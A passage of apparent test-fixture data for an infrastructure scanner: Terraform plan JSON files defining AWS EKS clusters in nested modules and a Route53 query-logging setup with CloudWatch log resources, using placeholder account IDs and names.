    "content": "{\n    \"format_version\":\"0.1\",\n    \"terraform_version\":\"0.13.4\",\n    \"planned_values\":{\n       \"root_module\":{\n          \"child_modules\":[\n             {\n                \"address\":\"module.child_0\",\n                \"child_modules\":[\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_c\"\n                   },\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_b\"\n                   },\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_a.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_a\"\n                   }\n                ]\n             }\n          ]\n       }\n    },\n    \"resource_changes\":[\n       {\n          \"address\":\"module.child_0.module.child_1_a.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_a\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       },\n       {\n          \"address\":\"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_b\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       },\n       {\n          \"address\":\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_c\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       }\n    ],\n    \"configuration\":{\n       \"root_module\":{\n          \"module_calls\":{\n             \"child_0\":{\n                \"source\":\"./module\",\n                \"module\":{\n                   \"module_calls\":{\n                      \"child_1_a\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_a:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      },\n                      \"child_1_b\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_b:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      },\n                      \"child_1_c\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_c:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      }\n                   }\n                }\n             }\n          }\n       }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_resources_ids_with_nested_modules/tfplan.json",
    "content": "{\n    \"format_version\":\"0.1\",\n    \"terraform_version\":\"0.13.4\",\n    \"planned_values\":{\n       \"root_module\":{\n          \"child_modules\":[\n             {\n                \"address\":\"module.child_0\",\n                \"child_modules\":[\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_c\"\n                   },\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_b\"\n                   },\n                   {\n                      \"resources\":[\n                         {\n                            \"address\":\"module.child_0.module.child_1_a.aws_eks_cluster.cluster\",\n                            \"mode\":\"managed\",\n                            \"type\":\"aws_eks_cluster\",\n                            \"name\":\"cluster\",\n                            \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\":0,\n                            \"values\":{\n                               \"enabled_cluster_log_types\":[\n                                  \"api\",\n                                  \"audit\"\n                               ],\n                               \"encryption_config\":[\n                                  \n                               ],\n                               \"name\":\"test\",\n                               \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                               \"tags\":null,\n                               \"timeouts\":null,\n                               \"vpc_config\":[\n                                  {\n                                     \"endpoint_private_access\":false,\n                                     \"endpoint_public_access\":true,\n                                     \"security_group_ids\":null,\n                                     \"subnet_ids\":[\n                                        \"10.165.77.0/24\"\n                                     ]\n                                  }\n                               ]\n                            }\n                         }\n                      ],\n                      \"address\":\"module.child_0.module.child_1_a\"\n                   }\n                ]\n             }\n          ]\n       }\n    },\n    \"resource_changes\":[\n       {\n          \"address\":\"module.child_0.module.child_1_a.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_a\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       },\n       {\n          \"address\":\"module.child_0.module.child_1_b.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_b\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       },\n       {\n          \"address\":\"module.child_0.module.child_1_c.aws_eks_cluster.cluster\",\n          \"module_address\":\"module.child_0.module.child_1_c\",\n          \"mode\":\"managed\",\n          \"type\":\"aws_eks_cluster\",\n          \"name\":\"cluster\",\n          \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n          \"change\":{\n             \"actions\":[\n                \"create\"\n             ],\n             \"before\":null,\n             \"after\":{\n                \"enabled_cluster_log_types\":[\n                   \"api\",\n                   \"audit\"\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"name\":\"test\",\n                \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                \"tags\":null,\n                \"timeouts\":null,\n                \"vpc_config\":[\n                   {\n                      \"endpoint_private_access\":false,\n                      \"endpoint_public_access\":true,\n                      \"security_group_ids\":null,\n                      \"subnet_ids\":[\n                         \"10.165.77.0/24\"\n                      ]\n                   }\n                ]\n             },\n             \"after_unknown\":{\n                \"arn\":true,\n                \"certificate_authority\":true,\n                \"created_at\":true,\n                \"enabled_cluster_log_types\":[\n                   false,\n                   false\n                ],\n                \"encryption_config\":[\n                   \n                ],\n                \"endpoint\":true,\n                \"id\":true,\n                \"identity\":true,\n                \"kubernetes_network_config\":true,\n                \"platform_version\":true,\n                \"status\":true,\n                \"version\":true,\n                \"vpc_config\":[\n                   {\n                      \"cluster_security_group_id\":true,\n                      \"public_access_cidrs\":true,\n                      \"subnet_ids\":[\n                         false\n                      ],\n                      \"vpc_id\":true\n                   }\n                ]\n             }\n          }\n       }\n    ],\n    \"configuration\":{\n       \"root_module\":{\n          \"module_calls\":{\n             \"child_0\":{\n                \"source\":\"./module\",\n                \"module\":{\n                   \"module_calls\":{\n                      \"child_1_a\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_a:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      },\n                      \"child_1_b\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_b:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      },\n                      \"child_1_c\":{\n                         \"source\":\"./module\",\n                         \"module\":{\n                            \"resources\":[\n                               {\n                                  \"address\":\"aws_eks_cluster.cluster\",\n                                  \"mode\":\"managed\",\n                                  \"type\":\"aws_eks_cluster\",\n                                  \"name\":\"cluster\",\n                                  \"provider_config_key\":\"child_1_c:aws\",\n                                  \"expressions\":{\n                                     \"enabled_cluster_log_types\":{\n                                        \"constant_value\":[\n                                           \"audit\",\n                                           \"api\"\n                                        ]\n                                     },\n                                     \"name\":{\n                                        \"constant_value\":\"test\"\n                                     },\n                                     \"role_arn\":{\n                                        \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                                     },\n                                     \"vpc_config\":[\n                                        {\n                                           \"subnet_ids\":{\n                                              \"constant_value\":[\n                                                 \"10.165.77.0/24\"\n                                              ]\n                                           }\n                                        }\n                                     ]\n                                  },\n                                  \"schema_version\":0\n                               }\n                            ]\n                         }\n                      }\n                   }\n                }\n             }\n          }\n       }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_root_module_resources_no_values/tfplan.json",
    "content": "{\n  \"format_version\":\"0.1\",\n  \"terraform_version\":\"0.13.4\",\n  \"planned_values\":{\n     \"root_module\":{\n        \"resources\":[\n           {\n              \"address\":\"aws_eks_cluster.cluster\",\n              \"mode\":\"managed\",\n              \"type\":\"aws_eks_cluster\",\n              \"name\":\"cluster\",\n              \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\":0,\n              \"values\":{\n                 \"enabled_cluster_log_types\":[\n                    \"api\",\n                    \"audit\"\n                 ],\n                 \"encryption_config\":[\n                    \n                 ],\n                 \"name\":\"test\",\n                 \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n                 \"tags\":null,\n                 \"timeouts\":null,\n                 \"vpc_config\":[\n                    {\n                       \"endpoint_private_access\":false,\n                       \"endpoint_public_access\":true,\n                       \"security_group_ids\":null,\n                       \"subnet_ids\":[\n                          \"10.165.77.0/24\"\n                       ]\n                    }\n                 ]\n              }\n           },\n           {\n              \"address\":\"data.aws_eks_cluster.cluster\",\n              \"mode\":\"data\",\n              \"type\":\"aws_eks_cluster\",\n              \"name\":\"cluster\",\n              \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\":0\n           }\n        ]\n     }\n  },\n  \"resource_changes\":[\n     {\n        \"address\":\"aws_eks_cluster.cluster\",\n        \"mode\":\"managed\",\n        \"type\":\"aws_eks_cluster\",\n        \"name\":\"cluster\",\n        \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n        \"change\":{\n           \"actions\":[\n              \"create\"\n           ],\n           \"before\":null,\n           \"after\":{\n              \"enabled_cluster_log_types\":[\n                 \"api\",\n                 \"audit\"\n              ],\n              \"encryption_config\":[\n                 \n              ],\n              \"name\":\"test\",\n              \"role_arn\":\"arn:aws:iam::12345678912:role/test\",\n              \"tags\":null,\n              \"timeouts\":null,\n              \"vpc_config\":[\n                 {\n                    \"endpoint_private_access\":false,\n                    \"endpoint_public_access\":true,\n                    \"security_group_ids\":null,\n                    \"subnet_ids\":[\n                       \"10.165.77.0/24\"\n                    ]\n                 }\n              ]\n           },\n           \"after_unknown\":{\n              \"arn\":true,\n              \"certificate_authority\":true,\n              \"created_at\":true,\n              \"enabled_cluster_log_types\":[\n                 false,\n                 false\n              ],\n              \"encryption_config\":[\n                 \n              ],\n              \"endpoint\":true,\n              \"id\":true,\n              \"identity\":true,\n              \"kubernetes_network_config\":true,\n              \"platform_version\":true,\n              \"status\":true,\n              \"version\":true,\n              \"vpc_config\":[\n                 {\n                    \"cluster_security_group_id\":true,\n                    \"public_access_cidrs\":true,\n                    \"subnet_ids\":[\n                       false\n                    ],\n                    \"vpc_id\":true\n                 }\n              ]\n           }\n        }\n     },\n     {\n        \"address\":\"data.aws_eks_cluster.cluster\",\n        \"mode\":\"data\",\n        \"type\":\"aws_eks_cluster\",\n        \"name\":\"cluster\",\n        \"provider_name\":\"registry.terraform.io/hashicorp/aws\",\n        \"change\":{\n           \"actions\":[\n              \"read\"\n           ],\n           \"before\":null,\n           \"after\":{\n              \n           },\n           \"after_unknown\":{\n              \"arn\":true,\n              \"certificate_authority\":true,\n              \"created_at\":true,\n              \"enabled_cluster_log_types\":true,\n              \"endpoint\":true,\n              \"id\":true,\n              \"identity\":true,\n              \"kubernetes_network_config\":true,\n              \"name\":true,\n              \"platform_version\":true,\n              \"role_arn\":true,\n              \"status\":true,\n              \"tags\":true,\n              \"version\":true,\n              \"vpc_config\":true\n           }\n        }\n     }\n  ],\n  \"configuration\":{\n     \"root_module\":{\n        \"resources\":[\n           {\n              \"address\":\"aws_eks_cluster.cluster\",\n              \"mode\":\"managed\",\n              \"type\":\"aws_eks_cluster\",\n              \"name\":\"cluster\",\n              \"provider_config_key\":\"aws\",\n              \"expressions\":{\n                 \"enabled_cluster_log_types\":{\n                    \"constant_value\":[\n                       \"audit\",\n                       \"api\"\n                    ]\n                 },\n                 \"name\":{\n                    \"constant_value\":\"test\"\n                 },\n                 \"role_arn\":{\n                    \"constant_value\":\"arn:aws:iam::12345678912:role/test\"\n                 },\n                 \"vpc_config\":[\n                    {\n                       \"subnet_ids\":{\n                          \"constant_value\":[\n                             \"10.165.77.0/24\"\n                          ]\n                       }\n                    }\n                 ]\n              },\n              \"schema_version\":0\n           },\n           {\n              \"address\":\"data.aws_eks_cluster.cluster\",\n              \"mode\":\"data\",\n              \"type\":\"aws_eks_cluster\",\n              \"name\":\"cluster\",\n              \"provider_config_key\":\"aws\",\n              \"expressions\":{\n                 \"name\":{\n                    \"references\":[\n                       \"aws_eks_cluster.cluster\"\n                    ]\n                 }\n              },\n              \"schema_version\":0\n           }\n        ]\n     }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_root_module_resources_no_values/tfplan_route53.json",
    "content": "{\n  \"format_version\": \"1.0\",\n  \"terraform_version\": \"1.1.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudwatch_log_group.aws_route53_example_com\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudwatch_log_group\",\n          \"name\": \"aws_route53_example_com\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"kms_key_id\": null,\n            \"name\": \"/aws/route53/example.com\",\n            \"name_prefix\": null,\n            \"retention_in_days\": 30,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"tags_all\": {}\n          }\n        },\n        {\n          \"address\": \"aws_cloudwatch_log_resource_policy.route53-query-logging-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudwatch_log_resource_policy\",\n          \"name\": \"route53-query-logging-policy\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_document\": \"{\\\"Statement\\\":[{\\\"Action\\\":[\\\"logs:PutLogEvents\\\",\\\"logs:CreateLogStream\\\"],\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"route53.amazonaws.com\\\"},\\\"Resource\\\":\\\"arn:aws:logs:*:*:log-group:/aws/route53/*\\\",\\\"Sid\\\":\\\"\\\"}],\\\"Version\\\":\\\"2012-10-17\\\"}\",\n            \"policy_name\": \"route53-query-logging-policy\"\n          },\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"aws_route53_query_log.example_com\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_query_log\",\n          \"name\": \"example_com\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"sensitive_values\": {}\n        },\n        {\n          \"address\": \"aws_route53_zone.example_com\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_zone\",\n          \"name\": \"example_com\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"comment\": \"Managed by Terraform\",\n            \"delegation_set_id\": null,\n            \"force_destroy\": false,\n            \"name\": \"example.com\",\n            \"tags\": null,\n            \"vpc\": []\n          },\n          \"sensitive_values\": {\n            \"name_servers\": [],\n            \"tags_all\": {},\n            \"vpc\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_cloudwatch_log_group.aws_route53_example_com\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_cloudwatch_log_group\",\n      \"name\": \"aws_route53_example_com\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"kms_key_id\": null,\n          \"name\": \"/aws/route53/example.com\",\n          \"name_prefix\": null,\n          \"retention_in_days\": 30,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"tags_all\": 